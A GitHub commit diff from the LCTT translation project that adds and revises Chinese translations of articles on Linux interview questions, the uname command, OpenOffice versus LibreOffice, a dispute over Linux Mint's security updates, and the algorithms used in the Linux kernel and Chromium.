mirror of
https://github.com/LCTT/TranslateProject.git
synced 2025-03-24 02:20:09 +08:00
Merge remote-tracking branch 'origin/master'
This commit is contained in:
commit
efe96a3fd7
89
published/11 Basic Linux Interview Questions and Answers.md
Normal file
89
published/11 Basic Linux Interview Questions and Answers.md
Normal file
@ -0,0 +1,89 @@
|
||||
11个Linux基础面试问题
|
||||
================================================================================
|
||||
|
||||
### Q.1: Linux 操作系统的核心是什么? ###
|
||||
- Shell
|
||||
- Kernel
|
||||
- Command
|
||||
- Script
|
||||
- Terminal
|
||||
|
||||
> **答**: 内核(Kernel)是Linux 操作系统的核心。Shell是一个命令行解释器,命令(Command)是针对计算机的指令,脚本(Script)是存储在文件中的命令的集合,终端(Termial)是命令行接口。
|
||||
|
||||
### Q.2: Linus Torvalds 都创建过什么东东? ###
|
||||
- Fedora
|
||||
- Slackware
|
||||
- Debian
|
||||
- Gentoo
|
||||
- Linux
|
||||
|
||||
> **答**: Linux Torvalds 创建了Linux,Linux是所有上述操作系统的核心,同样也是其他一些Linux 操作系统的核心。
|
||||
|
||||
### Q.3: Torvalds,使用C++语言编写了Linux内核的大部分代码,是这样吗? ###
|
||||
|
||||
> **答**: 不! Linux内核包含了12,020,528行代码,其中注释占去了2,151,595 行。因此剩下的9,868,933 行就是纯代码了。而其中7,896,318行都是用C语言写的。
|
||||
|
||||
剩下的1,972,615行则是使用C++,汇编,Perl, Shell Script, Python, Bash Script, HTML, awk, yacc, lex, sed等。
|
||||
|
||||
**注**:代码行数每天都在变动,平均每天超过3,509行代码添加到内核。
|
||||
|
||||
### Q.4: 起初,Linux 是为 Intel X86 架构编写的,但是后来比其他操作系统移植的硬件平台都多,是这样吗 ? ###
|
||||
|
||||
> **答**: 是的,我同意。Linux那时候是为x86机器写的,而且现已移至到所有类型的平台。今天超过90%的超级计算机都在使用Linux。Linux在移动手机和平板电脑领域前景广阔。事实上我们被Linux包围着,远程遥控,太空科学,研究,Web,桌面计算等等,举之不尽。
|
||||
|
||||
### Q.5: 编辑 Linux 内核合法吗? ###
|
||||
|
||||
> **答**: 是的,内核基于GPL发布,任何人都可以基于GPL允许的权限随意编辑内核。Linux内核属于免费开源软件(FOSS)。
|
||||
|
||||
### Q.6: UNIX和Linux操作系统,本质上的不同在哪里?###
|
||||
|
||||
> **答**: Linux操作系统属于免费开源软件,内核是由 Linus Torvalds 和开源社区共同开发的。当然我们不能说UNIX操作系统和免费开源软件(FOSS)无关,BSD 就是基于 FOSS 范畴的 UNIX 的变种。而且大公司如 Apple,IBM,Oracle,HP等,都在为UNIX内核贡献代码。
|
||||
|
||||
### Q. 7: 挑出来一个与众不同的来. ###
|
||||
- HP-UX
|
||||
- AIX
|
||||
- OSX
|
||||
- Slackware
|
||||
- Solaris
|
||||
|
||||
> **答** : Slackware。 HP-UX, AIX, OSX, Solaris 分别是由 HP, IBM, APPLE, Oracle 开发的,并且都是UNIX的变种. Slackware 则是一个Linux操作系统.
|
||||
|
||||
### Q.8: Linux 不会感染病毒吗? ###
|
||||
|
||||
> **答** : 当然会! 这个地球上不存在不会感染病毒的操作系统。但是Linux以迄今为止病毒数量少而著称,是的,甚至比UNIX还要少。Linux榜上有名的病毒只有60-100个,而且没有一个病毒在传播蔓延。Unix粗略估计有85-120个。
|
||||
|
||||
### Q.9: Linux 属于哪种类型的操作系统? ###
|
||||
- 多用户
|
||||
- 多任务
|
||||
- 多线程
|
||||
- 以上所有
|
||||
- 以上都不是
|
||||
|
||||
> **答** : 以上所有。Linux是一个支持多用户,可以同时运行多个进程执行多个任务的操作系统。
|
||||
|
||||
### Q.10: 一般的 Linux 命令的语法格式是: ###
|
||||
- command [选项] [参数]
|
||||
- command 选项 [参数]
|
||||
- command [选项] [参数]
|
||||
- command 选项 参数
|
||||
|
||||
> **答** : Linux 命令的正确语法是, Command [选项] [参数]。
|
||||
|
||||
### Q.11: 挑出来一个与众不同的来. ###
|
||||
|
||||
- Vi
|
||||
- vim
|
||||
- cd
|
||||
- nano
|
||||
|
||||
> **答** : cd 与其他命令不同。Vi,vim和 nano都是编辑器,用于编辑文档,而cd是用于切换目录的命令。
|
||||
|
||||
就这么多了。上述问题你学到手几个?效果如何?我们期待着你的评论。下周,会有新的问题,让我们拭目以待。保持健康,锁定链接,记得来**Tecmint**哦。
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.tecmint.com/basic-linux-interview-questions-and-answers/
|
||||
|
||||
译者:[l3b2w1](https://github.com/l3b2w1) 校对:[jasminepeng](https://github.com/jasminepeng)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -0,0 +1,116 @@
|
||||
九个uname命令获取Linux系统详情的实例
|
||||
================================================================================
|
||||
|
||||
当你在控制台模式下,无法通过“鼠标右键 > 关于”获取操作系统的信息。这时,在Linux下,你可以使用**uname**命令,帮助你完成这些工作。 Uname是**unix name**的缩写。在控制台中实际使用的时候只需键入**uname**。
|
||||
|
||||
当你输入uname不带参数时,它仅仅显示你的操作系统的名字。
|
||||
|
||||
# uname
|
||||
|
||||
Linux
|
||||
|
||||
也许这还不能满足你的需要。所以你需要加上一些参数,来使uname显示你所需要的信息。
|
||||
|
||||
以下是uname参数的列表:
|
||||
|
||||
### 1. 内核名称 ###
|
||||
|
||||
你可以用**-s**参数,显示内核名称。(译注:可以在其他的类Unix系统上运行这个命令看看,比如mac就会显示Darwin)
|
||||
|
||||
# uname -s
|
||||
|
||||
Linux
|
||||
|
||||
输出信息会跟uname不带参数时输出的一样。
|
||||
|
||||
### 2. 内核发行版 ###
|
||||
|
||||
如果你想知道你正在使用哪个内核发行版(指不同的内核打包版本),就可以用**-r**参数
|
||||
|
||||
# uname -r
|
||||
|
||||
2.6.18-371.1.2.el5
|
||||
|
||||
### 3. 内核版本 ###
|
||||
|
||||
除一些内核信息外,用**-v**参数uname也能获取更详细的内核版本信息(译注:不是版本号,是指该内核建立的时间和CPU架构等)。
|
||||
|
||||
# uname -v
|
||||
|
||||
#1 SMP Tue Oct 22 12:57:43 EDT 2013
|
||||
|
||||
### 4. 节点名 ###
|
||||
|
||||
参数 -n 会提供给你节点的主机名。举例来说,如果你的主机名是“dev-machine”,**-n**参数就会把主机名打印出来。
|
||||
|
||||
# uname -n
|
||||
|
||||
dev-machine
|
||||
|
||||
对于RedHat和CentOS用户来说,你也可以通过**/etc/redhat_release**文件来查看:
|
||||
|
||||
# cat /etc/redhat_release
|
||||
|
||||
CentOS release 5.10 (Final)
|
||||
|
||||
如果不是基于RedHat的发行版,你可以查看**/etc/issue**文件.类似如下:
|
||||
|
||||
# cat /etc/issue
|
||||
|
||||
Linux Mint Olivia \n \l:
|
||||
|
||||
### 5.硬件名称 ###
|
||||
|
||||
如果你想知道用的是哪类机器,你可以尝试**-m**参数。它将告诉你关于硬件的信息。
|
||||
|
||||
# uname -m
|
||||
|
||||
i686
|
||||
|
||||
i686表明了你用的是32位的操作系统,如果是X86_64则表明你用的是64位的系统。
|
||||
|
||||
### 6. 硬件平台 ###
|
||||
|
||||
与硬件名称类似,-i参数会显示你的硬件平台(译注:硬件名称i686是属于硬件平台i386系列的)。
|
||||
|
||||
# uname -i
|
||||
|
||||
i386
|
||||
|
||||
同样,i386意味这是正在运行一个32位的系统,如果输出的是X86_64则说明你正在运行一个64位的系统。
|
||||
|
||||
### 7. 处理器类型 ###
|
||||
|
||||
你可以用**-p**参数查看处理器类型。如果uname无法识别,它会显示 ‘unknown’ 作为输出。
|
||||
|
||||
# uname -p
|
||||
|
||||
i686
|
||||
|
||||
### 8. 操作系统 ###
|
||||
|
||||
uname也可以透露你正在运行的操作系统信息,用**-o**参数可以实现这个目的。
|
||||
|
||||
# uname -o
|
||||
|
||||
GNU/Linux
|
||||
|
||||
### 9. 所有信息 ###
|
||||
|
||||
有一个参数可以展示所有的信息!这就是**-a**参数,它会显示所有信息。如果**-i和-p**输出为unknown则默认会被省略。
|
||||
|
||||
# uname -a
|
||||
|
||||
Linux dev-machine 2.6.18-371.1.2.el5 #1 SMP Tue Oct 22 12:57:43 EDT 2013 i686 i686 i386 GNU/Linux
|
||||
|
||||
以上就是关于uname命令的使用。请敬请期待更多的命令!
|
||||
|
||||
谢谢阅读!
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://linoxide.com/linux-command/uname-command/
|
||||
|
||||
译者:[Luoxcat](https://github.com/Luoxcat) 校对:[Mr小眼儿](http://blog.csdn.net/tinyeyeser)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
@ -1,4 +1,4 @@
|
||||
Apache OpenOffice vs. LibreOffice 详解
|
||||
Apache OpenOffice 与 LibreOffice 之间的抉择
|
||||
================================================================================
|
||||
> 这两个开源办公套件产品很相似,然而某一个貌似已经开始具有轻微的领先优势……
|
||||
|
||||
@ -10,7 +10,7 @@ Apache OpenOffice vs. LibreOffice 详解
|
||||
|
||||
###具体各程序间的区别###
|
||||
|
||||
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再说Impress,主要的区别就是LibreOffice最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表格。
|
||||
LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩的Draw,看起来完全没有区别;再如Impress,主要的区别就是LibreOffice的最新版支持使用Android设备控制幻灯片放映;除了幻灯片背景以外,两者其他方面没什么不同,都能很好的胜任日常使用,除非有特殊偏好,用户选择哪一款都可以;同样,在Calc电子制表软件中,两者最大的区别就是你可以在LibreOffice里创建数据表单。
|
||||
|
||||
即使在用户最常用的Writer程序中,两者的区别也很小。LibreOffice这边,编辑窗口的底部状态栏现在新包含了一个字词计数器,审阅标签也不再局限于某个单个点,现在可以附加在配图上,另外,LibreOffice终于解决了“脚注无法紧靠对应文本显示”的bug,除此以外,LibreOffice还添加了一个简易搜索栏,与web浏览器上的那种类似,同时,去掉了图形水平线的选项,这个功能过去十几年来几乎从没人用过。
|
||||
|
||||
@ -18,9 +18,9 @@ LibreOffice和OpenOffice之间的程序大部分都是一样的。例如它俩
|
||||
|
||||
一些更明显的区别体现在格式分类与字体支持上。例如,OpenOffice始终支持一些较老的保存格式,像AportisDoc(Palm版)和Pocket Word。另外,它也可以打开.docx格式的文件,但是无法像LibreOffice一样将文档保存为docx格式。
|
||||
|
||||
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->自体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
|
||||
LibreOffice同样在字体支持方面占有优势。它对多语言和高级排版工艺始终有较好的支持,因此最新发布版本能够支持OpenType这样的现代字体首选格式。更重要的,通过“文件->属性->字体”,你能够将字体嵌入到文档中去,无需任何繁琐操作,就能确保字体的兼容性。
|
||||
|
||||
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常,OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。
|
||||
这样的特性使得LibreOffice在面对微软Office用户转换格式的时候,得到了决定性的1分。因为通常OpenOffice和LibreOffice都无法很好处理微软格式的文档,特别是那些又有文字表格又有图形对象再加上复杂格式的文档。因此,如果你要共享复杂一些的文档,例如宣传手册,最好使用PDF格式,而不是Open文档格式(ODF)。
|
||||
|
||||
然而,如果你确实需要转换一些本地或微软的文档,LibreOffice拥有一些决定性优势。它不仅能读写大多数微软文档,而且它对字体替换处理的很好,而这正是文档格式转换时要面临的一个主要问题。尽管其他问题仍有不少,例如在特性实现上有所不同,但LibreOffice在处理微软Office文档时确实应该是一个更可靠的选择。
|
||||
|
||||
@ -32,35 +32,35 @@ OpenOffice和LibreOffice两者都能很好的支持插件扩展,想要加强
|
||||
|
||||
以上这些扩展在OpenOffice下同样可用。与前者不同的是,使用OpenOffice时,你首先需要知道有这些扩展,然后专门去找到它们,这样一来,很大程度上限制了新用户对很多功能的体验。因此,当OpenOffice在最近发布的版本中尝试努力提供更好用的现代模板和剪贴画时,这样的疏漏就成了一个非常严重的不足,特别是当它很容易弥补的时候,(更何况LibreOffice同时也提供了自家最新的模板和剪贴画)。
|
||||
|
||||
###接口的更新换代###
|
||||
###界面的更新换代###
|
||||
|
||||
在OpenOffice.org属于Sun和Oracle的12年日子里,它的代码和接口就如同许多优秀特性一样,几乎被完全忽略。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的接口却仍停留在上世纪90年代的水平。只有表面上的一些老旧接口被移除,其实大部分仍然亟待更新。
|
||||
在OpenOffice.org属于Sun和Oracle的12年日子里,它的界面和许多的其它功能一样,几乎被丢在遗忘的角落。如今的结果就是,OpenOffice和LibreOffice作为套件产品,都各自拥有一整套优秀的功能,但是它们的界面却仍停留在上世纪90年代的水平。只有表面上的一些老旧界面被移除,其实大部分仍然亟待更新。
|
||||
|
||||
在最新的发布中,OpenOffice试图彻底更新自己的接口,但是却由于“导航栏”而被迫受阻。导航栏这一特性,如今已经成为“用户体验”的标签,在LibreOffice中,你可以通过“工具->选项->LibreOffice->高级”找到关于它的设置。
|
||||
在最新的发布中,OpenOffice试图彻底更新自己的界面的努力主要集中在“边栏”上。这一特性,你可以通过“工具->选项->LibreOffice->高级”打开,它被标记为“试验性”的。
|
||||
|
||||
导航栏是一组功能集合,主要用于用户手动格式化。【【【这一特性鼓励用户使用样式,就代码编写人员的逻辑来说,这一点很容易被忽略。(这一句各种纠结不明白啥意思啊啊啊啊啊=。=)】】】然而,它最大的好处是,大大简化了字符和图形的格式化标签页,例如原本所有应用程序中都有的加粗选项,以及电子表格单元格中的“格式”标签页。幸运的是,导航栏还重新定义了菜单和样式对话框窗口的概念。
|
||||
边栏是一组功能集合,主要用于用户手动格式化。这一特性便于用户应用样式,因为如果用户关注在文章逻辑上,很容易忽略编排的样式。然而,最好的是,它大大简化了格式化字符和段落的选项卡,例如所有应用程序中都有的边框选项卡,以及电子表格单元格中的“格式”选项卡。幸运的是,边栏还重新定义了菜单和样式对话框窗口的概念。
|
||||
|
||||
LibreOffice还拥有更多的“冒险创新精神”,例如,与导航栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
|
||||
LibreOffice还拥有更多的“冒险创新精神”,例如,与边栏类似,Impress中的任务面板,摘要显示了大多数幻灯片设计步骤中要用到的选项卡名称。
|
||||
|
||||
在Writer编辑窗口中,LibreOffice的大部分接口已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
|
||||
在Writer编辑窗口中,LibreOffice的大部分界面已经完成改进,窗口底部的状态栏中,添加了一个字词计数器,原本负责管理和编辑模板的狭窄子菜单,如今也已被高端大气上档次的流线形按钮所取代。
|
||||
|
||||
更明显的,LibreOffice中的主文本框架被精减为四个边角的十字准线。同样的,页眉和页脚也默认改为不可见,要想找到它们,四个小直角标明了它们的边界位置,点击就可以出现。
|
||||
|
||||
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口。除了【【【使用标签页鼓励手动格式化这一事实(和上面那纠结的一句一样,这是什么意思啊啊啊啊啊=。=)】】】,比较恼人的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏。
|
||||
不太成功的一点改进是LibreOffice中管理页眉页脚的编辑窗口中的选项卡。虽然这个选项卡事实上是为了便于手动调整格式,但是让人郁闷的是,当在新一页的第一行输入的时候,已经输入的一部分总是会自动隐藏起来。
|
||||
|
||||
尽管LibreOffice还重组了许多窗口选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的接口问题,而这些,OpenOffice甚至都还没来得急意识到。
|
||||
尽管LibreOffice还重组了许多对话窗口的选项,但是这些努力远没有结束。有时,开发人员会让LibreOffice变成传统框架与现代极简艺术的混合体,看起来有些不伦不类,但是,至少LibreOffice正在尝试着解决长期搁置的界面问题,而这些,OpenOffice甚至都还没来得及意识到。
|
||||
|
||||
###做出选择###
|
||||
|
||||
如果文档不超过2到3页,一般用户可能需要时常检查标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。
|
||||
如果文档不超过2到3页,一般用户可能会时常看看标题栏看自己用的是LibreOffice还是OpenOffice。然而,对于进阶用户而言,LibreOffice目前可能更有优势。优势并不算大,但是很明显。
|
||||
|
||||
这一优势的确很难被忽略。原因首先,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。
|
||||
这一优势的确很难被忽略。原因首先是,在LibreOffice已经确立了好几个月时间优势的情况下,OpenOffice却仍在专注于管理权和代码审计,这些工作也许有帮助,也有必要,但是普通用户更愿意看到他们对代码做出更多的改进工作。
|
||||
|
||||
其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方项目组,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
|
||||
其次,LibreOffice的开发人员大部分是[Go-oo][3]的前成员,这是OpenOffice.org的一个非官方分支,以“快速完善”为目标。当Apache OpenOffice项目组还在筹建中的时候,LibreOffice就已经吸引了全世界酷爱编程、热衷变革的天才们。
|
||||
|
||||
没有人做过准确的调查,但是我印象中,当OpenOffice.org社区分家的时候,大部分富于冒险创新精神的贡献者都选择了LibreOffice,同时,有一些半独立的文档小组,在谨慎地同时为两个项目工作。
|
||||
|
||||
其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全依靠“净室(clean-room)”来实现。
|
||||
其实,LibreOffice最重要的优势或许可以称之为“吸血许可证”。怎么个意思呢?就是OpenOffice的Apache许可证兼容LibreOffice的Lesser GNU通用公共许可证,但是LibreOffice的Less GNU通用公共许可证却不兼容OpenOffice的Apache许可证。换句话说,LibreOffice可以随意自由地从OpenOffice“借”代码,但是OpenOffice却根本无法从LibreOffice“借”到任何东西。严格地讲,如果想从LibreOffice“借”来某个功能,OpenOffice必须完全从头实现。
|
||||
|
||||
这一情况有可能会改变,尤其是当Apache OpenOffice比LibreOffice拥有更高的知名度的时候,然而LibreOffice的支持者们正在迅速扩张,它的社区非常活跃,短短3年间所做的要比OpenOffice.org十二年来做的还要多。
|
||||
|
||||
@ -70,7 +70,7 @@ LibreOffice还拥有更多的“冒险创新精神”,例如,与导航栏类
|
||||
|
||||
via: http://www.datamation.com/applications/apache-openoffice-vs.-libreoffice-1.html
|
||||
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[校对者ID](https://github.com/校对者ID)
|
||||
译者:[Mr小眼儿](http://blog.csdn.net/tinyeyeser) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
@ -0,0 +1,39 @@
|
||||
Canonical Dev称Linux Mint“脆弱”,不要将其用于网银
|
||||
================================================================================
|
||||
**一位Canonical公司[工程师建议][1]:基于Ubuntu的流行操作系统Linux Mint用户不应该将其用于网银 。**
|
||||
|
||||
Mint决定禁止更新那些存在已知安全问题的安装包 - 从内核、浏览器到启动加载器和Xorg显示服务 - 这样给用户带来了一个“脆弱的系统” ,Oliver Grawert说。
|
||||
|
||||
> “不去马上整合Ubuntu提交的那些修正,而是拒绝这些软件包的(安全)更新。我要说,强制保持一个有缺陷的内核、浏览器或xorg,而不是允许安装更新补丁,这会变成一个易受攻击的系统,(原文如此)”。
|
||||
>
|
||||
> “就我个人而言,我不会用它做网银操作。”
|
||||
|
||||
当然不只有Grawert认为Mint在安全意识上的低下。Mozilla贡献者兼前Ubuntu成员 **Benjamin Kerensa** 也有同样的看法:
|
||||
|
||||
> “目前还不清楚为什么Linux Mint禁止所有的安全更新。我可以说,Mint需要花好几个月才能得到一个Firefox的修正版,而Ubuntu和Debian已经早在他们的包上打了安全补丁。
|
||||
>
|
||||
> 这将置Linux Mint用户处于危险中,也是我从来不建议任何人将Linux Mint作为一种替代Ubuntu的系统的主要原因之一。”
|
||||
|
||||
Oliver Grawert是一位可靠的撰稿人。作为一位Canonical公司下的Ubuntu工程师,他比大多数人更了解自己在说什么。
|
||||
|
||||
那么Mint的用户存在实际风险么?
|
||||
|
||||
半对半错。Mint开发商坚决拒绝更新的现有软件包中大部分的安全“漏洞”(这个词更好一些)都是有记录和已知的,虽然这些漏洞很少被利用。因此对用户构成的“实际风险”仍然存在,至少现在,在理论上是很有可能的。
|
||||
|
||||
也就是说,没有发生**已知的**由于使用Mint发行版(或任何其他基于Ubuntu的未打补丁的发行版)并被通过利用Grawert引用的Ubuntu开发邮件列表上的漏洞造成身份盗窃乃至更糟的事故的情况。
|
||||
|
||||
但是,仅仅因为迄今为止没有人曾经钻进这扇半掩的窗户,并不能说明其他人永远不会这么做。
|
||||
|
||||
**看到Ubuntu持续被提及有关自身的(主要是理论上)隐私问题后,至少它还穿着另外一只鞋子,我们可喜的看到它对用户安全的强烈关注正在延伸至其他发行版上。**
|
||||
|
||||
*请注意:我们已经向Linux Mint征求意见及澄清,答复将在后继文章发表。*
|
||||
|
||||
--------------------------------------------------------------------------------
|
||||
|
||||
via: http://www.omgubuntu.co.uk/2013/11/canonical-dev-dont-use-linux-mint-online-banking-unsecure
|
||||
|
||||
译者:[whatever1992](https://github.com/whatever1992) 校对:[wxy](https://github.com/wxy)
|
||||
|
||||
本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创翻译,[Linux中国](http://linux.cn/) 荣誉推出
|
||||
|
||||
[1]:https://lists.ubuntu.com/archives/ubuntu-devel-discuss/2013-November/014770.html
|
298
published/Core algorithms deployed.md
Normal file
298
published/Core algorithms deployed.md
Normal file
@ -0,0 +1,298 @@
|
||||
那些算法在哪里?
|
||||
================================================================================
|
||||
|
||||
本文来源于一篇stackexchange的[问题][101]回答。提问者问到,我们在计算机科学和数学课程里面学习到的那些算法,到底在什么地方用到了?结果[Vijay D][103]给出一个洋洋洒洒的[深入回答][102],得到了提问者和众多围观。我们将这篇回答翻译过来以飨读者。
|
||||
|
||||
[Vijay D][103]写到:
|
||||
|
||||
在我看来,一个系统背后主要发挥作用的算法更容易在非算法课程上找到,这和应用数学中的成果比理论数学中更容易出现在应用中是一个道理。在讲座中,很少有实际问题能够精确匹配到一个抽象问题。归根结底,我认为没有理由让流行的算法课程,诸如Strassen乘法,AKS素性测试、或者Moser-Tardos算法与底层实际问题,如实现视频数据库、优化的编译器、操作系统、网络拥堵控制系统或者其他系统相关。这些课程的价值是学习利用错综复杂的方法发现问题的脉络而找出有效的解决方案。高级算法和简单算法的分析都不简单。正是由于这个原因,我不会忽略简单随机算法或者PageRank。
|
||||
|
||||
我想你可以选择任何一个大型软件,并在内部找到它所采用的基础和高级的算法。作为一个研究案例,我选择了Linux内核,并会示例一些Chromium里面的例子。
|
||||
|
||||
### Linux内核中的基本数据结构和算法 ###
|
||||
|
||||
Linux内核([源代码的链接在github][1])。
|
||||
|
||||
1.[链表][2]、[双向链表][3]、[无锁链表][4]。
|
||||
|
||||
2.[B+ 树][5],这是一些你无法在教科书上找到的说明。
|
||||
|
||||
> 一个相对简单的B+树的实现。我把它作为一个学习练习来帮助理解B+树是如何工作的。这同样也被证明是有用的。
|
||||
|
||||
> ...
|
||||
|
||||
> 一个在教科书中并不常见的技巧。最小的值在右侧而不是在左侧。所有在一个节点里用到的槽都在左侧,所有没有用到的槽包含了空值(NUL)。大多数操作只简单地遍历所有的槽一次并在第一个空值时(NUL)终止。
|
||||
|
||||
3.[优先排序列表][6] 用于 [互斥量][7]、[驱动][8]等等。
|
||||
|
||||
4.[红黑树][9][用于][10]调度、虚拟内存管理、追踪文件描述符和目录项等。
|
||||
|
||||
5.[区间树][11]
|
||||
|
||||
6.[根树][12]用于[内存管理][13],NFS相关查询和网络相关功能。
|
||||
|
||||
> 根树的一个通用的用处是存储指针到结构页中。
|
||||
|
||||
7.[优先级堆][14],如其名称的教科书实现,用于[cgroup][15]。
|
||||
|
||||
> 《简单的基于CLR的只插入的,含有指针的定长优先级堆》第七章
|
||||
|
||||
8.[哈希函数][16],参考了Knuth和一篇论文。
|
||||
|
||||
> Knuth建议,用乘法哈希的机器字来表示接近黄金比例的素数的最大整数。Chuck Lever验证了该技术的有效性:
|
||||
>
|
||||
> [http://www.citi.umich.edu/techreports/reports/citi-tr-00-1.pdf][17]
|
||||
>
|
||||
> 这些素数的选择是位稀疏的,他们可以通过移位和加法操作,而不必使用乘法器,乘法器是很慢的。
|
||||
|
||||
9.有的代码,比如[这个驱动][18],实现了他们自己的哈希函数。
|
||||
|
||||
> 使用了一种旋转哈希算法的哈希函数
|
||||
>
|
||||
> Knuth, D. 《计算机程序设计艺术, 卷 3: 排序与搜索》, 第6、7章. Addison Wesley, 1973
|
||||
|
||||
10.[哈希表][19]用于实现[inode][20]、[文件系统完整性检测][21]等等。
|
||||
|
||||
11.[位数组][22]用于处理标志位、中断等等。并在Knuth那本书的卷4中阐述。
|
||||
|
||||
12.[信号量][23]和[自旋锁][24]
|
||||
|
||||
13.[二分查找][25]用于[中断处理][26],[寄存器缓存查询][27]等等。
|
||||
|
||||
14.[B树的二分查找][28]。
|
||||
|
||||
15.[深度优先搜索][29]被广泛地用于[目录配置中][30]。
|
||||
|
||||
> 执行一个修改过的命名空间树的深度优先遍历,以指定的start_handle节点开始(及结束)。回调函数会在任何一个参数匹配的节点被发现时被调用。如果回调函数返回了一个非0值,搜索将会立即终止并且将其返回给调用者。
|
||||
|
||||
16.[广度优先搜索][31]用于检测运行时锁定的正确性。
|
||||
|
||||
17.链表中的[归并排序][32]用于[垃圾收集][33]、[文件系统管理][34]等等。
|
||||
|
||||
18.[冒泡排序][35]在一个驱动库中也有一个令人惊讶的实现。
|
||||
|
||||
19.[Knuth-Morris-Pratt 字符串匹配][36],
|
||||
|
||||
> 根据Knuth、Morris和Pratt\[1\]实现了一个线性时间的字符串匹配算法。他们的算法避免了转换函数的显式地计算DELTA。对于长度为n的文本,其匹配时间是O(n),对于长度为m的模式(pattern),仅使用一个辅助函数PI[1 . .m],预先计算模式的时间为O(m)。数组PI允许转换函数DELTA被实时有效地计算。粗略地说,对于任何状态"q"= 0,1,…、m和在SIGMA中的任何字符"a",PI["q"]的值包含的信息是独立的"a"并需要计算DELTA("q","a") \[2\]。既然PI只有m个记录,而DELTA有O(m |SIGMA|)个记录,在预处理时间计算PI而不是DELTA的时候,我们可以节省一个因数|SIGMA|
|
||||
>
|
||||
> \[1\] Cormen, Leiserson, Rivest, Stein,算法介绍,第二版,MIT出版社
|
||||
>
|
||||
> \[2\] 见有限自动机原理
|
||||
|
||||
20.[Boyer-Moore 模式匹配][37]是在找替代品时的参考和建议。
|
||||
|
||||
> 实现了Boyer-Moore字符串匹配算法:
|
||||
>
|
||||
> \[1\] 《一个快速的字符串搜索算法》,R.S. Boyer and Moore.计算机通信协会,20(10), 1977, pp. 762-772. [http://www.cs.utexas.edu/users/moore/publications/fstrpos.pdf][38]
|
||||
>
|
||||
> \[2\] 《准确的字符串匹配算法手册》,Thierry Lecroq, 2004 [http://www-igm.univ-mlv.fr/~lecroq/string/string.pdf][39]
|
||||
>
|
||||
> 注:由于Boyer-Moore(BM)从右到左搜索匹配,仍然有可能匹配分布在多个块,在这种情况下该算法并没有优势。
|
||||
>
|
||||
> 如果你希望确保这样的事情永远不会发生,那使用Knuth-Pratt-Morris(KMP)实现。总之,根据您的设置适当地选择字符串搜索算法。
|
||||
>
|
||||
> 如果你正在用文本搜索器进行过滤,NIDS或任何类似的注重安全的目的,那么使用KMP。否则,如果你真的关心性能,并且你对数据包进行分类以使用服务质量(QoS)政策,当你不介意匹配可能分布分散,那么用BM。
|
||||
|
||||
### Chromium 浏览器中的数据结构和算法 ###
|
||||
|
||||
Chromium的([源代码在 Google code][40])。我只会列出一部分。我建议使用搜索来找到你最喜欢的算法或者数据结构。
|
||||
|
||||
1.[伸展树][41]。
|
||||
|
||||
> 这个树通过分配策略(分配器)参数化。这个策略用于C的可用存储区的列表分配,参见zone.h。
|
||||
|
||||
2.[Voronoi算法][42]用于一个示例。
|
||||
|
||||
3.[基于Bresenham算法的选项卡][43]
|
||||
|
||||
在Chromium的第三方代码里面也有如下的数据结构和算法。
|
||||
|
||||
1.[二叉树][44]
|
||||
|
||||
2.[红黑树][45]
|
||||
|
||||
> Julian Walker的总结
|
||||
>
|
||||
